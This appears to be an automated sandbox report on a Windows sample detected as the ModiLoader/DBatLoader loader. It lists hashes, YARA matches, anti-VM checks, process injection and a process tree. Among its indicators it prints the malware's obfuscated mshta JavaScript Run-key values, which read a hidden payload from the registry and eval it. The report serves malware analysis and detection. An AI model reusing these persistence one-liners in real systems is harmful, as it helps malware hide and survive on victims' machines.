Analysis
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max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
28-05-2024 08:09
Static task
static1
Behavioral task
behavioral1
Sample
7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exe
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Size
397KB
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MD5
7c4620b8f4d5bd8b8e73bb7a0f4307e4
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SHA1
dbd4085892e5d0a4c27d3f539718f88949aa89bd
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SHA256
209a5f8bceb242a0ed4a94d90dd6aa97dad76b93e7d6dfa021a46d3fda528e60
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SHA512
010b08dcfda55d3a873e854001625a7043f600bc3a45c452f1617ec8ea9e944259fb65875ab19e4ec6ad2ff95b6079fd78b1ad5b364882d359365959b80e2202
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SSDEEP
6144:hCd7HxK7FmNeDBGw4hwrW33o2E3m3sQ+O/2MGbBEbr+K4cPOxAfQed3CoD1drsgv:0o2gm3sQVxGlEb2KOKQUfrsgBj3eUeU
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 38 IoCs
Processes:
resource yara_rule behavioral2/memory/3380-5-0x0000000000400000-0x000000000046A000-memory.dmp modiloader_stage2 behavioral2/memory/3380-7-0x0000000002AD0000-0x0000000002B9C000-memory.dmp modiloader_stage2 behavioral2/memory/3380-9-0x0000000002AD0000-0x0000000002B9C000-memory.dmp modiloader_stage2 behavioral2/memory/3380-11-0x0000000002AD0000-0x0000000002B9C000-memory.dmp modiloader_stage2 behavioral2/memory/3380-10-0x0000000002AD0000-0x0000000002B9C000-memory.dmp modiloader_stage2 behavioral2/memory/3380-8-0x0000000002AD0000-0x0000000002B9C000-memory.dmp modiloader_stage2 behavioral2/memory/3380-13-0x0000000002AD0000-0x0000000002B9C000-memory.dmp modiloader_stage2 behavioral2/memory/3380-19-0x0000000000400000-0x000000000046A000-memory.dmp modiloader_stage2 behavioral2/memory/2612-23-0x0000000000680000-0x000000000074C000-memory.dmp modiloader_stage2 behavioral2/memory/2612-27-0x0000000000680000-0x000000000074C000-memory.dmp modiloader_stage2 behavioral2/memory/2612-26-0x0000000000680000-0x000000000074C000-memory.dmp modiloader_stage2 behavioral2/memory/2612-25-0x0000000000680000-0x000000000074C000-memory.dmp modiloader_stage2 behavioral2/memory/2612-24-0x0000000000680000-0x000000000074C000-memory.dmp modiloader_stage2 behavioral2/memory/2612-28-0x0000000000680000-0x000000000074C000-memory.dmp modiloader_stage2 behavioral2/memory/4104-39-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-43-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-42-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-41-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-40-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-44-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-47-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-49-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-48-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-46-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-45-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-50-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-52-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-51-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-53-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/1508-58-0x0000000000E00000-0x0000000000ECC000-memory.dmp modiloader_stage2 behavioral2/memory/1508-63-0x0000000000E00000-0x0000000000ECC000-memory.dmp modiloader_stage2 behavioral2/memory/1508-62-0x0000000000E00000-0x0000000000ECC000-memory.dmp modiloader_stage2 behavioral2/memory/1508-61-0x0000000000E00000-0x0000000000ECC000-memory.dmp modiloader_stage2 behavioral2/memory/1508-60-0x0000000000E00000-0x0000000000ECC000-memory.dmp modiloader_stage2 behavioral2/memory/1508-59-0x0000000000E00000-0x0000000000ECC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-64-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4104-65-0x0000000000900000-0x00000000009CC000-memory.dmp modiloader_stage2 behavioral2/memory/4560-70-0x0000000001000000-0x00000000010CC000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:N2wDeX1LaU=\"Zo\";Ea3=new%20ActiveXObject(\"WScript.Shell\");vf6RGrgm=\"X4Fs\";kVl4K=Ea3.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\4487d72727\\\\8a62577b\");E4pev1EQwB=\"O\";eval(kVl4K);zndAe49FFJ=\"pA\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 4104 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:tA6U0nPpw=\"k5zKWKaJc\";v6m6=new%20ActiveXObject(\"WScript.Shell\");uMgMqAmA17=\"SNz3pa\";CwF7C=v6m6.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\4487d72727\\\\8a62577b\");z0x0ZqOo=\"yaD5A68z70\";eval(CwF7C);lDGpb7Tt=\"D\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Qv8v2lfgAP=\"RuVbzhcx\";V85M=new%20ActiveXObject(\"WScript.Shell\");qZt8IUKMG7=\"coifEi\";iJ0hc=V85M.RegRead(\"HKCU\\\\software\\\\4487d72727\\\\8a62577b\");BoqcvSZP74=\"02T\";eval(iJ0hc);PO6aOXL=\"zg0\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe -
Processes:
regsvr32.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
regsvr32.exepid process 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exeregsvr32.exeregsvr32.exepid process 3380 7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exe 3380 7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exe 3380 7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exe 2612 regsvr32.exe 2612 regsvr32.exe 2612 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe 4104 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exedescription pid process Token: SeShutdownPrivilege 3380 7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exe Token: SeCreatePagefilePrivilege 3380 7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exeregsvr32.exeregsvr32.exedescription pid process target process PID 3380 wrote to memory of 2612 3380 7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exe regsvr32.exe PID 3380 wrote to memory of 2612 3380 7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exe regsvr32.exe PID 3380 wrote to memory of 2612 3380 7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exe regsvr32.exe PID 2612 wrote to memory of 4104 2612 regsvr32.exe regsvr32.exe PID 2612 wrote to memory of 4104 2612 regsvr32.exe regsvr32.exe PID 2612 wrote to memory of 4104 2612 regsvr32.exe regsvr32.exe PID 4104 wrote to memory of 1508 4104 regsvr32.exe regsvr32.exe PID 4104 wrote to memory of 1508 4104 regsvr32.exe regsvr32.exe PID 4104 wrote to memory of 1508 4104 regsvr32.exe regsvr32.exe PID 4104 wrote to memory of 4560 4104 regsvr32.exe regsvr32.exe PID 4104 wrote to memory of 4560 4104 regsvr32.exe regsvr32.exe PID 4104 wrote to memory of 4560 4104 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\7c4620b8f4d5bd8b8e73bb7a0f4307e4_JaffaCakes118.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2612 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4104 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:1508
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:4560
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